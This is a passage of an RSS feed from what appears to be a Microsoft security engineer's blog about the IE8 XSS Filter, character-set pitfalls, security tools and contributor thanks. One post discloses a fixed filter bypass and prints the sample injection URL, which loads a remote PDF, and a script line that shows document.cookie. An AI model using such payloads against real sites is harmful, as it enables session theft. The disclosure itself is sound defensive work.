&lt;EM&gt;should&lt;/EM&gt; behave.&amp;nbsp; &lt;BR&gt;&amp;nbsp;&lt;BR&gt;How about the rest of the character sets&amp;nbsp;commonly used on the web today?&amp;nbsp; For example, if a web server produces &lt;A title="ISO 2022" href="http://en.wikipedia.org/wiki/ISO/IEC_2022" mce_href="http://en.wikipedia.org/wiki/ISO/IEC_2022"&gt;ISO 2022&lt;/A&gt; responses...&lt;BR&gt;&amp;nbsp; - How are escape sequences handled on input to the application?&amp;nbsp; &lt;BR&gt;&amp;nbsp; -&amp;nbsp;How are escape sequences handled in various components&amp;nbsp;through which the input travels?&lt;BR&gt;&amp;nbsp; - How are escape sequences&amp;nbsp;handled in server-side filtering code?&lt;BR&gt;&amp;nbsp; - How are escape sequences&amp;nbsp;handled at any of the various browser clients?&lt;BR&gt;&amp;nbsp;&lt;BR&gt;You may ask the same questions about invalid multi-byte sequences, various character set eccentricities, etc.&amp;nbsp;&amp;nbsp;Character set handling&amp;nbsp;may not be readily apparent&amp;nbsp;at the highest levels of the stack, but transformations&amp;nbsp;between character sets&amp;nbsp;are actually&amp;nbsp;common at the platform level on both the client and server.&lt;BR&gt;&amp;nbsp;&lt;BR&gt;The answers to the questions above have a real&amp;nbsp;impact on an application's ability to defend itself from XSS.&amp;nbsp; In order for developers to prevent XSS they must authoritatively block any &lt;A title="XSS attack vector" href="http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx" mce_href="http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx"&gt;XSS attack vector&lt;/A&gt;.&amp;nbsp; There are more complicated constructs that may be useful as vectors depending on the injection context.&amp;nbsp; For anyone who's written some code intending to prevent XSS, this is the commonly understood problem space.&amp;nbsp; But character sets essentially open up a second&amp;nbsp;dimension to the attack surface.&lt;BR&gt;&amp;nbsp;&lt;BR&gt;That is, developers must manage their untrusted data from its initial appearance in input out through its ultimate presentation to the victim user in an HTTP response.&amp;nbsp; So the effectiveness of any filtering is not simply a matter of handling all of the applicable attack vectors that may exist in any given browser client.&amp;nbsp; In fact, it is more complex due to the&amp;nbsp;character set handling that may or may not have occurred before or after the point at which filtering occurs.&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Specifications for legacy character sets tend to be vague, if they exist at all.&amp;nbsp; Undefined behaviors have existed for so long, the consequences of seemingly benign code tweaks can be virtually untestable.&amp;nbsp; Code changes involving character sets&amp;nbsp;can break old documents in subtle ways.&lt;BR&gt;&amp;nbsp;&lt;BR&gt;The differences between how components&amp;nbsp;handle a given character set is one source of vulnerability.&amp;nbsp; But besides that, character set eccentricities may be well-defined and implemented consistently&amp;nbsp;at the client and server, yet still enable vulnerabilities.&amp;nbsp; &lt;A title=Here href="http://sites.google.com/site/applesoup/" mce_href="http://sites.google.com/site/applesoup/"&gt;Here&lt;/A&gt; &lt;A title=are href="http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html" mce_href="http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html"&gt;are&lt;/A&gt; &lt;A title=some href="http://seclists.org/fulldisclosure/2007/Dec/267" mce_href="http://seclists.org/fulldisclosure/2007/Dec/267"&gt;some&lt;/A&gt; &lt;A title=examples href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string" mce_href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string"&gt;examples&lt;/A&gt;&amp;nbsp;where the complexities around character set handling have lead to vulnerabilities.&lt;BR&gt;&amp;nbsp;&lt;BR&gt;What do you think?&amp;nbsp; It would be very interesting to see an analysis&amp;nbsp;comparing popular server-side web platforms, other server-side components (SQL servers, etc.), and client-side technology in terms of how they handle the various character set issues across a wide range of supported character sets.&lt;BR&gt;&amp;nbsp;&lt;BR&gt;So...&amp;nbsp; Would anyone &lt;EM&gt;not&lt;/EM&gt; like to live in an all-Unicode world?&lt;/P&gt;
&lt;P&gt;Here are some related resources from Shawn Steele, Windows / .Net globalization guru: &lt;A href="http://blogs.msdn.com/shawnste/pages/code-pages-unicode-encodings.aspx"&gt;http://blogs.msdn.com/shawnste/pages/code-pages-unicode-encodings.aspx&lt;/A&gt;&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9917000" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>Good Bug</title><link>http://blogs.msdn.com/b/dross/archive/2009/05/28/good-bug.aspx</link><pubDate>Fri, 29 May 2009 01:37:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9649409</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=9649409</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2009/05/28/good-bug.aspx#comments</comments><description>&lt;P&gt;Credit goes to Alex "Kuza55" Kouzemtchenko for identifying a weakness in the XSS Filter OBJECT tag heuristic.&amp;nbsp; The&amp;nbsp;original&amp;nbsp;heuristic failed to properly sanitize OBJECT tags with the DATA attribute set.&amp;nbsp; Alex found that it is possible to use the DATA attribute to instantiate the PDF handler, then reference content to be loaded using a PARAM element.&amp;nbsp; This would load a remote PDF that&amp;nbsp;would execute script in the context of the hosting page, effectively enabling XSS.&lt;/P&gt;
&lt;P&gt;Example:&lt;BR&gt;&lt;CODE&gt;http://site.tld/foo.asp?FName=&amp;lt;object%20data=anything_at_all.pdf&amp;gt;&amp;lt;param%20name=src%20value=http://othersite.tld/xss.pdf%20&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;/object&amp;gt;&lt;/CODE&gt;&lt;/P&gt;
&lt;P&gt;The PDF proof-of-concept contained:&lt;BR&gt;&lt;CODE&gt;getURL("vbscript:MsgBox document.cookie");&lt;/CODE&gt;&lt;/P&gt;
&lt;P&gt;Thanks to Alex, we were able to address this bug&amp;nbsp;for the IE8 final release.&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9649409" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>The MSHTML (Trident) Host Security FAQ</title><link>http://blogs.msdn.com/b/dross/archive/2009/04/06/the-mshtml-trident-host-security-faq.aspx</link><pubDate>Mon, 06 Apr 2009 20:21:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9534096</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=9534096</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2009/04/06/the-mshtml-trident-host-security-faq.aspx#comments</comments><description>&lt;P&gt;I've posted a two-part FAQ&amp;nbsp;addressing&amp;nbsp;security considerations for apps&amp;nbsp;that host MSHTML.&amp;nbsp; Check it out over at the &lt;A title="SRD blog" href="http://blogs.technet.com/srd/" mce_href="http://blogs.technet.com/srd/"&gt;SRD blog&lt;/A&gt;!&lt;/P&gt;
&lt;P&gt;&lt;A title="The MSHTML Host Security FAQ: Part I of II" href="http://blogs.technet.com/srd/archive/2009/04/02/the-mshtml-host-security-faq.aspx" mce_href="http://blogs.technet.com/srd/archive/2009/04/02/the-mshtml-host-security-faq.aspx"&gt;The MSHTML Host Security FAQ: Part I of II&lt;/A&gt;&lt;BR&gt;&lt;A title="The MSHTML Host Security FAQ: Part II of II" href="http://blogs.technet.com/srd/archive/2009/04/03/the-mshtml-host-security-faq-part-ii-of-ii.aspx" mce_href="http://blogs.technet.com/srd/archive/2009/04/03/the-mshtml-host-security-faq-part-ii-of-ii.aspx"&gt;The MSHTML Host Security FAQ: Part II of II&lt;/A&gt;&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9534096" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category></item><item><title>New webappsec tools</title><link>http://blogs.msdn.com/b/dross/archive/2009/03/25/new-webappsec-tools.aspx</link><pubDate>Wed, 25 Mar 2009 21:33:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9508047</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=9508047</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2009/03/25/new-webappsec-tools.aspx#comments</comments><description>&lt;P&gt;&lt;STRONG&gt;Chris Weber's Watcher: &lt;/STRONG&gt;&lt;A href="http://www.lookout.net/2009/03/20/watcher-security-tool-a-free-web-app-security-testing-and-compliance-auditing-tool/"&gt;&lt;STRONG&gt;http://www.lookout.net/2009/03/20/watcher-security-tool-a-free-web-app-security-testing-and-compliance-auditing-tool/&lt;/STRONG&gt;&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Watcher plugs into the &lt;A href="http://www.fiddlertool.com/" mce_href="http://www.fiddlertool.com"&gt;Fidder&lt;/A&gt; HTTP proxy and monitors for all sorts of web app vulns, from the common to the obscure.&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Gareth Heyes' XSS Rays: &lt;/STRONG&gt;&lt;A href="http://www.thespanner.co.uk/2009/03/25/xss-rays/"&gt;&lt;STRONG&gt;http://www.thespanner.co.uk/2009/03/25/xss-rays/&lt;/STRONG&gt;&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;XSS Rays runs in the browser as a &lt;A href="http://www.bookmarklets.com/" mce_href="http://www.bookmarklets.com/"&gt;bookmarklet&lt;/A&gt; and scans for XSS on demand.&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9508047" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>IE8 is here!</title><link>http://blogs.msdn.com/b/dross/archive/2009/03/19/ie8-is-here.aspx</link><pubDate>Thu, 19 Mar 2009 23:02:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9491025</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=9491025</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2009/03/19/ie8-is-here.aspx#comments</comments><description>&lt;P&gt;&lt;A href="http://www.microsoft.com/ie"&gt;http://www.microsoft.com/ie&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;What are you waiting for?&amp;nbsp; Go get it!&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9491025" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category></item><item><title>XSS Filter Improvements in IE8 RC1</title><link>http://blogs.msdn.com/b/dross/archive/2009/01/30/xss-filter-improvements-in-ie8-rc1.aspx</link><pubDate>Sat, 31 Jan 2009 00:30:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9385361</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=9385361</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2009/01/30/xss-filter-improvements-in-ie8-rc1.aspx#comments</comments><description>&lt;P&gt;I've just posted&amp;nbsp;detail&amp;nbsp;up on the &lt;A class="" title="SVRD Blog" href="http://blogs.technet.com/swi/" mce_href="http://blogs.technet.com/swi/"&gt;SVRD&amp;nbsp;Blog&lt;/A&gt; about&amp;nbsp;&lt;A class="" title="some improvements and bug fixes" href="http://blogs.technet.com/swi/archive/2009/01/30/xss-filter-improvements-in-ie8-rc1.aspx" mce_href="http://blogs.technet.com/swi/archive/2009/01/30/xss-filter-improvements-in-ie8-rc1.aspx"&gt;some improvements and bug fixes&lt;/A&gt;&amp;nbsp;to the XSS Filter feature&amp;nbsp;in &lt;A class="" title="IE8 RC1" href="http://www.microsoft.com/windows/internet-explorer/download-ie.aspx" mce_href="http://www.microsoft.com/windows/internet-explorer/download-ie.aspx"&gt;IE8 RC1&lt;/A&gt;.&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9385361" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>Video Roundup (Martin Johns and more!)</title><link>http://blogs.msdn.com/b/dross/archive/2009/01/14/video-roundup-martin-johns-and-more.aspx</link><pubDate>Wed, 14 Jan 2009 22:53:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9319334</guid><dc:creator>dross</dc:creator><slash:comments>3</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=9319334</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2009/01/14/video-roundup-martin-johns-and-more.aspx#comments</comments><description>&lt;P&gt;Recently I got &lt;A class="" title="Martin Johns" href="http://shampoo.antville.org/" mce_href="http://shampoo.antville.org/"&gt;Martin Johns&lt;/A&gt; connected with &lt;A class="" title="Helen Wang" href="http://research.microsoft.com/en-us/um/people/helenw/" mce_href="http://research.microsoft.com/en-us/um/people/helenw/"&gt;Helen Wang&lt;/A&gt;'s group in Microsoft Research.&amp;nbsp; Check out Martin's excellent talk @MSR, &lt;A class="" title="Secure Code Generation for Web Applications" href="http://content.digitalwell.washington.edu/msr/external_release_talks_12_05_2005/16527/lecture.htm" mce_href="http://content.digitalwell.washington.edu/msr/external_release_talks_12_05_2005/16527/lecture.htm"&gt;Secure Code Generation for Web Applications&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;Here are&amp;nbsp;a few other gems I discovered on content.digitalwell.washington.edu:&lt;/P&gt;
&lt;P&gt;&lt;A class="" title="Techniques and Tools for Engineering Secure Web Applications" href="http://content.digitalwell.washington.edu/msr/external_release_talks_12_05_2005/15507/lecture.htm" mce_href="http://content.digitalwell.washington.edu/msr/external_release_talks_12_05_2005/15507/lecture.htm"&gt;Techniques and Tools for Engineering Secure Web Applications&lt;/A&gt;&lt;BR&gt;Gary Wassermann, 3/13/2008&lt;/P&gt;
&lt;P&gt;&lt;A class="" title="Improving Software Security with Precise Static and Runtime Analysis" href="http://content.digitalwell.washington.edu/msr/external_release_talks_12_05_2005/13548/lecture.htm" mce_href="http://content.digitalwell.washington.edu/msr/external_release_talks_12_05_2005/13548/lecture.htm"&gt;Improving Software Security with Precise Static and Runtime Analysis&lt;/A&gt;&lt;BR&gt;Benjamin Livshits, 6/26/2006&lt;/P&gt;
&lt;P&gt;&lt;A class="" title="End-to-end Security for Web Applications: A Language-based Approach" href="http://content.digitalwell.washington.edu/msr/external_release_talks_12_05_2005/15699/lecture.htm" mce_href="http://content.digitalwell.washington.edu/msr/external_release_talks_12_05_2005/15699/lecture.htm"&gt;End-to-end Security for Web Applications: A Language-based Approach&lt;/A&gt;&lt;BR&gt;Nikhil Swamy, 4/1/2008&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9319334" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>ABE</title><link>http://blogs.msdn.com/b/dross/archive/2008/12/20/abe.aspx</link><pubDate>Sun, 21 Dec 2008 05:10:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9244815</guid><dc:creator>dross</dc:creator><slash:comments>2</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=9244815</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2008/12/20/abe.aspx#comments</comments><description>&lt;P&gt;Giorgio Maone's new &lt;A class="" title=ABE href="http://hackademix.net/2008/12/20/introducing-abe/" mce_href="http://hackademix.net/2008/12/20/introducing-abe/"&gt;ABE&lt;/A&gt; project looks pretty cool.&lt;/P&gt;
&lt;P&gt;Exposing the loose and often unnecessary boundaries&amp;nbsp;between web applications&amp;nbsp;shines a&amp;nbsp;different light on some old problems in web application security.&amp;nbsp; Enforcing greater formalization and limiting the attack surface presented by&amp;nbsp;these boundaries&amp;nbsp;is a great thing.&lt;/P&gt;
&lt;P&gt;Yeah, yeah, I know, Giorgio doesn't like us, etc..., whatever.&amp;nbsp; ;-)&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9244815" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>XSSDS</title><link>http://blogs.msdn.com/b/dross/archive/2008/09/30/xssds.aspx</link><pubDate>Tue, 30 Sep 2008 21:15:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8970580</guid><dc:creator>dross</dc:creator><slash:comments>6</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=8970580</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2008/09/30/xssds.aspx#comments</comments><description>&lt;P&gt;Björn Engelmann, Joachim Posegga, and &lt;A class="" title=LocalRodeo href="http://databasement.net/labs/localrodeo/" mce_href="http://databasement.net/labs/localrodeo/"&gt;LocalRodeo&lt;/A&gt; developer &lt;A class="" title="Martin Johns" href="http://shampoo.antville.org/" mce_href="http://shampoo.antville.org/"&gt;Martin Johns&lt;/A&gt; have &lt;A class="" title=paper href="http://www.informatik.uni-hamburg.de/SVS/papers/2008_ACSAC_johns_Engelmann_Posegga_XSSDS.pdf" mce_href="http://www.informatik.uni-hamburg.de/SVS/papers/2008_ACSAC_johns_Engelmann_Posegga_XSSDS.pdf"&gt;authored an excellent paper on a new Cross-site Scripting detection system called XSSDS&lt;/A&gt;.&amp;nbsp; Stay tuned to &lt;A class="" title=noxss.org href="http://www.noxss.org/" mce_href="http://www.noxss.org/"&gt;noxss.org&lt;/A&gt; for a new browser extension based on this technology.&amp;nbsp; The XSSDS approach&amp;nbsp;is similar in some ways&amp;nbsp;to the IE8 XSS Filter approach, although&amp;nbsp;it's worth noting that&amp;nbsp;until recently&amp;nbsp;Martin's team had no knowledge of our work in this space (and vice versa).&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8970580" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>IE8 Beta 2</title><link>http://blogs.msdn.com/b/dross/archive/2008/08/29/ie8-beta-2.aspx</link><pubDate>Sat, 30 Aug 2008 01:18:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8907083</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=8907083</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2008/08/29/ie8-beta-2.aspx#comments</comments><description>&lt;P&gt;If you haven’t already seen, Internet Explorer 8 Beta 2 is out – &lt;A class="" title="Internet Explorer 8 Beta 2" href="http://www.microsoft.com/windows/products/winfamily/ie/default.mspx" mce_href="http://www.microsoft.com/windows/products/winfamily/ie/default.mspx"&gt;go get it&lt;/A&gt;!&lt;/P&gt;
&lt;P&gt;Now is a good time to thank everyone who helped make the IE8 XSS Filter a reality.&amp;nbsp; This project wouldn’t have been possible without your hard work, support, leadership, guidance, brainstorming, pentesting, coding, and testing.&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;THANK YOU:&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;Zhenya and Joe&amp;nbsp; &lt;SPAN style="FONT-SIZE: 11pt; LINE-HEIGHT: 115%; FONT-FAMILY: Wingdings; mso-fareast-font-family: SimSun; mso-fareast-theme-font: minor-fareast; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA"&gt;J&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;Keith Baston&lt;BR&gt;Sarah Blankinship&lt;BR&gt;Christopher Budd&lt;BR&gt;Fergal Burke&lt;BR&gt;Manuel Caballero&lt;BR&gt;Tony Chor&lt;BR&gt;Jeremy Dallman&lt;BR&gt;Mark Debenham&lt;BR&gt;Carl Edlund&lt;BR&gt;Dave Forstrom&lt;BR&gt;Michael Grady&lt;BR&gt;Dean Hachamovitch&lt;BR&gt;Robert “RSnake” Hansen&lt;BR&gt;Yosuke Hasegawa&lt;BR&gt;Damian Hasse&lt;BR&gt;Ronald van den Heetkamp&lt;BR&gt;Mario Heiderich&lt;BR&gt;Matt Heller&lt;BR&gt;Gareth Heyes&lt;BR&gt;Michael Howard&lt;BR&gt;Hidetake Jo&lt;BR&gt;Dany Joly&lt;BR&gt;Dan Kaminsky&lt;BR&gt;Amit Klein&lt;BR&gt;Kuza55&lt;BR&gt;John Lambert&lt;BR&gt;Eric Lawrence&lt;BR&gt;David Lindsay&lt;BR&gt;Steve Lipner&lt;BR&gt;Spencer Low&lt;BR&gt;Patrick Mann&lt;BR&gt;Bronwen Matthews&lt;BR&gt;Christian Matthies&lt;BR&gt;Jack Mayo&lt;BR&gt;Mark Miller&lt;BR&gt;Katie Moussouris&lt;BR&gt;Aviv Raff&lt;BR&gt;Billy Rios&lt;BR&gt;Harley Rosnow&lt;BR&gt;Andrew Roths&lt;BR&gt;Fermin J. Serna&lt;BR&gt;Mark Shlimovich&lt;BR&gt;Richard Shupak&lt;BR&gt;Craig Spiezle&lt;BR&gt;George Stathakopoulos&lt;BR&gt;Cheng Peng Su&lt;BR&gt;Matt Thomlinson&lt;BR&gt;Jason Upton&lt;BR&gt;Eduardo “sirdarckcat” Vela&lt;BR&gt;Berend-Jan “SkyLined” Wever&lt;BR&gt;Austin Wilson&lt;BR&gt;Geng Yang&lt;/P&gt;
&lt;P&gt;The IE Team&lt;BR&gt;SWI&lt;/P&gt;
&lt;P&gt;If I somehow managed to leave you out, please let me know.&amp;nbsp;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Now on&amp;nbsp;to RTM!&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8907083" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/General/">General</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>IE 8 XSS Filter Architecture / Implementation revealed + some other news</title><link>http://blogs.msdn.com/b/dross/archive/2008/08/19/ie-8-xss-filter-architecture-implementation-revealed-some-other-news.aspx</link><pubDate>Tue, 19 Aug 2008 23:29:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8880050</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/dross/rsscomments.aspx?WeblogPostID=8880050</wfw:commentRss><comments>http://blogs.msdn.com/b/dross/archive/2008/08/19/ie-8-xss-filter-architecture-implementation-revealed-some-other-news.aspx#comments</comments><description>&lt;P&gt;I've&amp;nbsp;just&amp;nbsp;&lt;A title="posted some detail on the Internet Explorer 8 XSS Filter Architecture / Implementation" href="http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx" mce_href="http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx"&gt;posted&amp;nbsp;some detail on&amp;nbsp;the Internet Explorer&amp;nbsp;8 XSS Filter Architecture / Implementation&lt;/A&gt; over on the &lt;A title="SWI Blog" href="http://blogs.technet.com/swi/" mce_href="http://blogs.technet.com/swi/"&gt;SWI Blog&lt;/A&gt;.&amp;nbsp; It would be great to&amp;nbsp;get some&amp;nbsp;feedback and answer&amp;nbsp;any questions you may have&amp;nbsp;-- just drop me a mail using the&amp;nbsp;Email link to the left.&lt;/P&gt;
&lt;P&gt;In other news, &lt;A title="Gareth Heyes" href="http://www.businessinfo.co.uk/" mce_href="http://www.businessinfo.co.uk/"&gt;Gareth Heyes&lt;/A&gt; has been spending some time testing the&amp;nbsp;XSS Filter implementation.&amp;nbsp; Gareth has written up &lt;A title="a post on the Bluehat blog about targeted fuzzing" href="http://blogs.technet.com/bluehat/archive/2008/08/14/targeted-fuzzing.aspx" mce_href="http://blogs.technet.com/bluehat/archive/2008/08/14/targeted-fuzzing.aspx"&gt;a post&amp;nbsp;on the Bluehat blog about targeted fuzzing&lt;/A&gt;, specifically as applied to XSS.&lt;/P&gt;
&lt;P mce_keep="true"&gt;And finally,&amp;nbsp;it's worth&amp;nbsp;mentioning that &lt;A title="I'm now on Twitter!" href="http://twitter.com/randomdross" mce_href="http://twitter.com/randomdross"&gt;I'm now on Twitter&lt;/A&gt;!&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8880050" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Internet+Explorer/">Internet Explorer</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Cross_2D00_Site+Scripting/">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/XSS/">XSS</category></item><item><title>IE8 XSS Filter design philosophy in-depth</title><link>http://blogs.msdn.com/b/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx</link><pubDate>Fri, 04 Jul 2008 09:55:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8687752</guid><dc:creator>dross</dc:creator><slash:comments>3</slash:comments><wfw:commentRss 